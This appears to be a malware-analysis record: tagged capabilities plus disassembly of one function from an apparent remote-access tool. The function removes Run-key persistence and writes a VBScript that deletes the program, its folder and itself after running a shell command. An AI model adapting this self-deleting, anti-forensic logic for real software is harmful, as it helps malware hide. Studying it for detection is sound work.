Function at 0x40d45b
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.0041288b
cmp dword [0x47513c], 0
je 0x40d47d
mov ecx, 0x4750f0
call fcn.0040b8e7
xor ebx, ebx
inc ebx
cmp byte [0x472d63], bl
jne 0x40d48d
call fcn.00419b25
cmp byte [0x472a85], 0
je 0x40d4a7
mov ecx, 0x474d64
call fcn.00401f04
mov ecx, eax
call fcn.0041c322
mov esi, 0x4752c0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x472b33], bl
jne 0x40d4ce
mov ecx, esi
call fcn.00401f04
push eax
mov edx, edi
mov ecx, closesocket
call fcn.00413a5e
pop ecx
mov ebp, closesocket
cmp byte [0x472b30], bl
jne 0x40d4ed
mov ecx, esi
call fcn.00401f04
push eax
mov edx, edi
mov ecx, ebp
call fcn.00413a5e
pop ecx
cmp byte [0x472b31], bl
jne 0x40d50a
mov ecx, esi
call fcn.00401f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00413a5e
pop ecx
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x4752f0
push str.exepath
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.00413733
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d55e
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401fab
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0x466478
neg ebx
mov edx, ebp
mov ecx, 0x475308
sbb bl, bl
and bl, 1
call fcn.004077f2
test al, al
je 0x40d5b6
push 0x80
mov ecx, 0x475308
call fcn.00401f04
push eax
call esi
push str.update.vbs
push 0x466f98
call fcn.0043c11f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.0040417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.004042fc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401f09
test bl, bl
je 0x40d667
push 0x467040
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.0040417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042fc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
mov esi, 0x467078
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x28]
call fcn.00401f09
test bl, bl
je 0x40d6d2
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.0040908d
mov ebx, 0x475308
mov edx, ebp
mov ecx, ebx
call fcn.004077f2
test al, al
je 0x40d71d
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0040b9b7
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
push 0x467140
push 0x467144
lea ecx, [esp + 0xa8]
call fcn.0040417e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.0040417e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.0040431d
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x88]
call fcn.00401f09
lea ecx, [esp + 0xa0]
call fcn.00401f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.0040908d
push edi
lea ecx, [esp + 0x74]
call fcn.00401f04
push eax
lea ecx, [esp + 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c482
pop ecx
pop ecx
test al, al
je 0x40d811
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401f04
push eax
push 0x466118
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d811
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x70]
call fcn.00401f09
lea ecx, [esp + 0x2c8]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret